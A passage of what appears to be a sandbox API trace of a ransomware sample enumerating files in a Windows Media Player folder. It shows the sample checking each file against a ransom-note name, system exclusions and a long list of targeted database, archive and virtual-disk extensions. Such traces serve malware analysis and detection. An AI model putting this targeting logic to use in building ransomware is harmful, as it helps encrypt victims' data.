	[0038.307] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ef60bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ef60bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.307] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.307] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.307] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.307] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.307] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1
	[0038.307] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.307] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0038.307] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".") returned 1
	[0038.307] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="..") returned 1
	[0038.307] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="windows") returned -1
	[0038.307] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="bootmgr") returned -1
	[0038.307] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="temp") returned -1
	[0038.307] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="pagefile.sys") returned -1
	[0038.307] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="boot") returned -1
	[0038.307] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="ids.txt") returned -1
	[0038.307] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="ntuser.dat") returned -1
	[0038.307] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="perflogs") returned -1
	[0038.307] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="MSBuild") returned -1
	[0038.307] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34
	[0038.307] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*") returned 85
	[0038.307] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="01_Music_auto_rated_at_5_stars.wpl" | out: lpString1="01_Music_auto_rated_at_5_stars.wpl") returned="01_Music_auto_rated_at_5_stars.wpl"
	[0038.308] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34
	[0038.308] lstrlenW (lpString="Apollon865") returned 10
	[0038.308] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0038.308] lstrlenW (lpString=".dll") returned 4
	[0038.308] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".dll") returned 1
	[0038.308] lstrlenW (lpString=".lnk") returned 4
	[0038.308] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".lnk") returned 1
	[0038.308] lstrlenW (lpString=".ini") returned 4
	[0038.308] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".ini") returned 1
	[0038.308] lstrlenW (lpString=".sys") returned 4
	[0038.308] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".sys") returned 1
	[0038.308] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34
	[0038.308] lstrlenW (lpString="bak") returned 3
	[0038.308] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0038.308] lstrlenW (lpString="ba_") returned 3
	[0038.308] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0038.308] lstrlenW (lpString="dbb") returned 3
	[0038.308] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0038.308] lstrlenW (lpString="vmdk") returned 4
	[0038.308] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0038.308] lstrlenW (lpString="rar") returned 3
	[0038.308] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0038.308] lstrlenW (lpString="zip") returned 3
	[0038.308] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0038.308] lstrlenW (lpString="tgz") returned 3
	[0038.308] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0038.308] lstrlenW (lpString="vbox") returned 4
	[0038.308] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0038.309] lstrlenW (lpString="vdi") returned 3
	[0038.309] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0038.309] lstrlenW (lpString="vhd") returned 3
	[0038.309] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0038.309] lstrlenW (lpString="vhdx") returned 4
	[0038.309] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0038.309] lstrlenW (lpString="avhd") returned 4
	[0038.309] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0038.309] lstrlenW (lpString="db") returned 2
	[0038.309] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0038.309] lstrlenW (lpString="db2") returned 3
	[0038.309] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0038.309] lstrlenW (lpString="db3") returned 3
	[0038.309] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0038.309] lstrlenW (lpString="dbf") returned 3
	[0038.309] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0038.309] lstrlenW (lpString="mdf") returned 3
	[0038.309] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0038.309] lstrlenW (lpString="mdb") returned 3
	[0038.309] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0038.309] lstrlenW (lpString="sql") returned 3
	[0038.309] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0038.309] lstrlenW (lpString="sqlite") returned 6
	[0038.309] lstrcmpiW (lpString1="rs.wpl", lpString2="sqlite") returned -1
	[0038.309] lstrlenW (lpString="sqlite3") returned 7
	[0038.309] lstrcmpiW (lpString1="ars.wpl", lpString2="sqlite3") returned -1
	[0038.309] lstrlenW (lpString="sqlitedb") returned 8
	[0038.309] lstrcmpiW (lpString1="tars.wpl", lpString2="sqlitedb") returned 1
	[0038.310] lstrlenW (lpString="xml") returned 3
	[0038.310] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0038.310] lstrlenW (lpString="$er") returned 3
	[0038.310] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0038.310] lstrlenW (lpString="4dd") returned 3
	[0038.310] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0038.310] lstrlenW (lpString="4dl") returned 3
	[0038.310] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0038.310] lstrlenW (lpString="^^^") returned 3
	[0038.310] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0038.310] lstrlenW (lpString="abs") returned 3
	[0038.310] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0038.310] lstrlenW (lpString="abx") returned 3
	[0038.310] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0038.310] lstrlenW (lpString="accdb") returned 5
	[0038.310] lstrcmpiW (lpString1="s.wpl", lpString2="accdb") returned 1
	[0038.310] lstrlenW (lpString="accdc") returned 5
	[0038.310] lstrcmpiW (lpString1="s.wpl", lpString2="accdc") returned 1
	[0038.310] lstrlenW (lpString="accde") returned 5
	[0038.310] lstrcmpiW (lpString1="s.wpl", lpString2="accde") returned 1
	[0038.310] lstrlenW (lpString="accdr") returned 5
	[0038.310] lstrcmpiW (lpString1="s.wpl", lpString2="accdr") returned 1
	[0038.310] lstrlenW (lpString="accdt") returned 5
	[0038.310] lstrcmpiW (lpString1="s.wpl", lpString2="accdt") returned 1
	[0038.310] lstrlenW (lpString="accdw") returned 5
	[0038.310] lstrcmpiW (lpString1="s.wpl", lpString2="accdw") returned 1
	[0038.310] lstrlenW (lpString="accft") returned 5
	[0038.310] lstrcmpiW (lpString1="s.wpl", lpString2="accft") returned 1
	[0038.310] lstrlenW (lpString="adb") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0038.311] lstrlenW (lpString="adb") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0038.311] lstrlenW (lpString="ade") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0038.311] lstrlenW (lpString="adf") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0038.311] lstrlenW (lpString="adn") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0038.311] lstrlenW (lpString="adp") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0038.311] lstrlenW (lpString="alf") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0038.311] lstrlenW (lpString="ask") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0038.311] lstrlenW (lpString="btr") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0038.311] lstrlenW (lpString="cat") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0038.311] lstrlenW (lpString="cdb") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0038.311] lstrlenW (lpString="ckp") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0038.311] lstrlenW (lpString="cma") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0038.311] lstrlenW (lpString="cpd") returned 3
	[0038.311] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0038.311] lstrlenW (lpString="dacpac") returned 6
	[0038.312] lstrcmpiW (lpString1="rs.wpl", lpString2="dacpac") returned 1
	[0038.312] lstrlenW (lpString="dad") returned 3
	[0038.312] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0038.312] lstrlenW (lpString="dadiagrams") returned 10
	[0038.312] lstrcmpiW (lpString1="_stars.wpl", lpString2="dadiagrams") returned -1
	[0038.312] lstrlenW (lpString="daschema") returned 8
	[0038.312] lstrcmpiW (lpString1="tars.wpl", lpString2="daschema") returned 1
	[0038.312] lstrlenW (lpString="db-journal") returned 10
	[0038.312] lstrcmpiW (lpString1="_stars.wpl", lpString2="db-journal") returned -1
	[0038.312] lstrlenW (lpString="db-shm") returned 6
	[0038.312] lstrcmpiW (lpString1="rs.wpl", lpString2="db-shm") returned 1
	[0038.312] lstrlenW (lpString="db-wal") returned 6
	[0038.312] lstrcmpiW (lpString1="rs.wpl", lpString2="db-wal") returned 1
	[0038.312] lstrlenW (lpString="dbc") returned 3
	[0038.312] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0038.312] lstrlenW (lpString="dbs") returned 3
	[0038.312] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0038.312] lstrlenW (lpString="dbt") returned 3
	[0038.312] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0038.312] lstrlenW (lpString="dbv") returned 3
	[0038.312] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0038.312] lstrlenW (lpString="dbx") returned 3
	[0038.312] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0038.312] lstrlenW (lpString="dcb") returned 3
	[0038.312] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0038.312] lstrlenW (lpString="dct") returned 3
	[0038.312] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0038.313] lstrlenW (lpString="dcx") returned 3
	[0038.313] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0038.313] lstrlenW (lpString="ddl") returned 3
	[0038.313] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0038.313] lstrlenW (lpString="dlis") returned 4
	[0038.313] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0038.313] lstrlenW (lpString="dp1") returned 3
	[0038.313] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0038.313] lstrlenW (lpString="dqy") returned 3
	[0038.313] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0038.313] lstrlenW (lpString="dsk") returned 3
	[0038.313] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0038.313] lstrlenW (lpString="dsn") returned 3
	[0038.313] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0038.313] lstrlenW (lpString="dtsx") returned 4
	[0038.313] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0038.313] lstrlenW (lpString="dxl") returned 3
	[0038.313] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0038.313] lstrlenW (lpString="eco") returned 3
	[0038.313] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0038.313] lstrlenW (lpString="ecx") returned 3
	[0038.313] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0038.313] lstrlenW (lpString="edb") returned 3
	[0038.313] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0038.313] lstrlenW (lpString="epim") returned 4
	[0038.313] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0038.313] lstrlenW (lpString="fcd") returned 3
	[0038.313] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0038.314] lstrlenW (lpString="fdb") returned 3
	[0038.314] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0038.314] lstrlenW (lpString="fic") returned 3
	[0038.314] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0038.314] lstrlenW (lpString="flexolibrary") returned 12
	[0038.314] lstrcmpiW (lpString1="_5_stars.wpl", lpString2="flexolibrary") returned -1
	[0038.314] lstrlenW (lpString="fm5") returned 3
	[0038.314] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0038.314] lstrlenW (lpString="fmp") returned 3
	[0038.314] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0038.314] lstrlenW (lpString="fmp12") returned 5
	[0038.314] lstrcmpiW (lpString1="s.wpl", lpString2="fmp12") returned 1
	[0038.314] lstrlenW (lpString="fmpsl") returned 5
	[0038.314] lstrcmpiW (lpString1="s.wpl", lpString2="fmpsl") returned 1
	[0038.314] lstrlenW (lpString="fol") returned 3
	[0038.314] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0038.347] lstrlenW (lpString="fp3") returned 3
	[0038.347] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0038.347] lstrlenW (lpString="fp4") returned 3
	[0038.347] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0038.347] lstrlenW (lpString="fp5") returned 3
	[0038.347] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0038.347] lstrlenW (lpString="fp7") returned 3
	[0038.347] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0038.347] lstrlenW (lpString="fpt") returned 3
	[0038.347] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0038.347] lstrlenW (lpString="frm") returned 3
	[0038.347] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0038.347] lstrlenW (lpString="gdb") returned 3
	[0038.347] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0038.347] lstrlenW (lpString="gdb") returned 3
	[0038.347] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0038.347] lstrlenW (lpString="grdb") returned 4
	[0038.347] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0038.347] lstrlenW (lpString="gwi") returned 3
	[0038.347] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0038.347] lstrlenW (lpString="hdb") returned 3
	[0038.347] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0038.347] lstrlenW (lpString="his") returned 3
	[0038.347] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0038.347] lstrlenW (lpString="ib") returned 2
	[0038.348] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0038.348] lstrlenW (lpString="idb") returned 3
	[0038.348] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0038.348] lstrlenW (lpString="ihx") returned 3
	[0038.348] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0038.348] lstrlenW (lpString="itdb") returned 4
	[0038.348] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0038.348] lstrlenW (lpString="itw") returned 3
	[0038.348] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0038.348] lstrlenW (lpString="jet") returned 3
	[0038.348] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
	[0038.348] lstrlenW (lpString="jtx") returned 3
	[0038.348] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0038.348] lstrlenW (lpString="kdb") returned 3
	[0038.348] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0038.348] lstrlenW (lpString="kexi") returned 4
	[0038.348] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0038.348] lstrlenW (lpString="kexic") returned 5
	[0038.348] lstrcmpiW (lpString1="s.wpl", lpString2="kexic") returned 1
	[0038.348] lstrlenW (lpString="kexis") returned 5
	[0038.348] lstrcmpiW (lpString1="s.wpl", lpString2="kexis") returned 1
	[0038.348] lstrlenW (lpString="lgc") returned 3
	[0038.348] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0038.348] lstrlenW (lpString="lwx") returned 3
	[0038.348] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0038.348] lstrlenW (lpString="maf") returned 3
	[0038.348] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0038.348] lstrlenW (lpString="maq") returned 3
	[0038.348] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0038.349] lstrlenW (lpString="mar") returned 3
	[0038.349] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0038.349] lstrlenW (lpString="marshal") returned 7
	[0038.349] lstrcmpiW (lpString1="ars.wpl", lpString2="marshal") returned -1
	[0038.349] lstrlenW (lpString="mas") returned 3
	[0038.349] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0038.349] lstrlenW (lpString="mav") returned 3
	[0038.349] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0038.349] lstrlenW (lpString="maw") returned 3
	[0038.349] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0038.349] lstrlenW (lpString="mdbhtml") returned 7
	[0038.349] lstrcmpiW (lpString1="ars.wpl", lpString2="mdbhtml") returned -1
	[0038.349] lstrlenW (lpString="mdn") returned 3
	[0038.349] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0038.349] lstrlenW (lpString="mdt") returned 3
	[0038.349] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0038.349] lstrlenW (lpString="mfd") returned 3
	[0038.349] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0038.349] lstrlenW (lpString="mpd") returned 3
	[0038.349] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0038.349] lstrlenW (lpString="mrg") returned 3
	[0038.349] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0038.349] lstrlenW (lpString="mud") returned 3
	[0038.349] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0038.349] lstrlenW (lpString="mwb") returned 3
	[0038.349] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0038.349] lstrlenW (lpString="myd") returned 3
	[0038.349] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0038.350] lstrlenW (lpString="ndf") returned 3
	[0038.350] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0038.350] lstrlenW (lpString="nnt") returned 3
	[0038.350] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0038.350] lstrlenW (lpString="nrmlib") returned 6
	[0038.350] lstrcmpiW (lpString1="rs.wpl", lpString2="nrmlib") returned 1
	[0038.350] lstrlenW (lpString="ns2") returned 3
	[0038.350] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0038.350] lstrlenW (lpString="ns3") returned 3
	[0038.350] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0038.350] lstrlenW (lpString="ns4") returned 3
	[0038.350] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0038.350] lstrlenW (lpString="nsf") returned 3
	[0038.350] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0038.350] lstrlenW (lpString="nv") returned 2
	[0038.350] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0038.350] lstrlenW (lpString="nv2") returned 3
	[0038.350] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0038.350] lstrlenW (lpString="nwdb") returned 4
	[0038.350] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0038.350] lstrlenW (lpString="nyf") returned 3
	[0038.350] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0038.350] lstrlenW (lpString="odb") returned 3
	[0038.350] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0038.350] lstrlenW (lpString="odb") returned 3
	[0038.350] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0038.350] lstrlenW (lpString="oqy") returned 3
	[0038.350] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0038.351] lstrlenW (lpString="ora") returned 3
	[0038.351] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0038.351] lstrlenW (lpString="orx") returned 3
	[0038.351] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0038.351] lstrlenW (lpString="owc") returned 3
	[0038.351] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0038.351] lstrlenW (lpString="p96") returned 3
	[0038.351] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0038.351] lstrlenW (lpString="p97") returned 3
	[0038.351] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0038.351] lstrlenW (lpString="pan") returned 3
	[0038.351] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0038.351] lstrlenW (lpString="pdb") returned 3
	[0038.351] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0038.351] lstrlenW (lpString="pdm") returned 3
	[0038.351] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0038.351] lstrlenW (lpString="pnz") returned 3
	[0038.351] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0038.351] lstrlenW (lpString="qry") returned 3
	[0038.351] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0038.351] lstrlenW (lpString="qvd") returned 3
	[0038.351] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0038.351] lstrlenW (lpString="rbf") returned 3
	[0038.351] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0038.351] lstrlenW (lpString="rctd") returned 4
	[0038.351] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0038.351] lstrlenW (lpString="rod") returned 3
	[0038.351] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0038.351] lstrlenW (lpString="rodx") returned 4
	[0038.352] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0038.352] lstrlenW (lpString="rpd") returned 3
	[0038.352] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0038.352] lstrlenW (lpString="rsd") returned 3
	[0038.352] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0038.352] lstrlenW (lpString="sas7bdat") returned 8
	[0038.352] lstrcmpiW (lpString1="tars.wpl", lpString2="sas7bdat") returned 1
	[0038.352] lstrlenW (lpString="sbf") returned 3
	[0038.352] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0038.352] lstrlenW (lpString="scx") returned 3
	[0038.352] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0038.352] lstrlenW (lpString="sdb") returned 3
	[0038.352] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0038.352] lstrlenW (lpString="sdc") returned 3
	[0038.352] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0038.352] lstrlenW (lpString="sdf") returned 3
	[0038.352] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0038.352] lstrlenW (lpString="sis") returned 3
	[0038.352] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0038.352] lstrlenW (lpString="spq") returned 3
	[0038.352] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0038.352] lstrlenW (lpString="te") returned 2
	[0038.352] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0038.352] lstrlenW (lpString="teacher") returned 7
	[0038.352] lstrcmpiW (lpString1="ars.wpl", lpString2="teacher") returned -1
	[0038.352] lstrlenW (lpString="tmd") returned 3
	[0038.352] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0038.352] lstrlenW (lpString="tps") returned 3
	[0038.353] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0038.353] lstrlenW (lpString="trc") returned 3
	[0038.353] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0038.353] lstrlenW (lpString="trc") returned 3
	[0038.353] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0038.353] lstrlenW (lpString="trm") returned 3
	[0038.353] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0038.353] lstrlenW (lpString="udb") returned 3
	[0038.353] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0038.353] lstrlenW (lpString="udl") returned 3
	[0038.353] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0038.353] lstrlenW (lpString="usr") returned 3
	[0038.353] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0038.353] lstrlenW (lpString="v12") returned 3
	[0038.353] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0038.353] lstrlenW (lpString="vis") returned 3
	[0038.353] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0038.353] lstrlenW (lpString="vpd") returned 3
	[0038.353] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0038.353] lstrlenW (lpString="vvv") returned 3
	[0038.353] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
	[0038.353] lstrlenW (lpString="wdb") returned 3
	[0038.353] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0038.353] lstrlenW (lpString="wmdb") returned 4
	[0038.353] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0038.353] lstrlenW (lpString="wrk") returned 3
	[0038.353] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0038.353] lstrlenW (lpString="xdb") returned 3
	[0038.354] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0038.354] lstrlenW (lpString="xld") returned 3
	[0038.354] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0038.354] lstrlenW (lpString="xmlff") returned 5
	[0038.354] lstrcmpiW (lpString1="s.wpl", lpString2="xmlff") returned -1
	[0038.354] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1
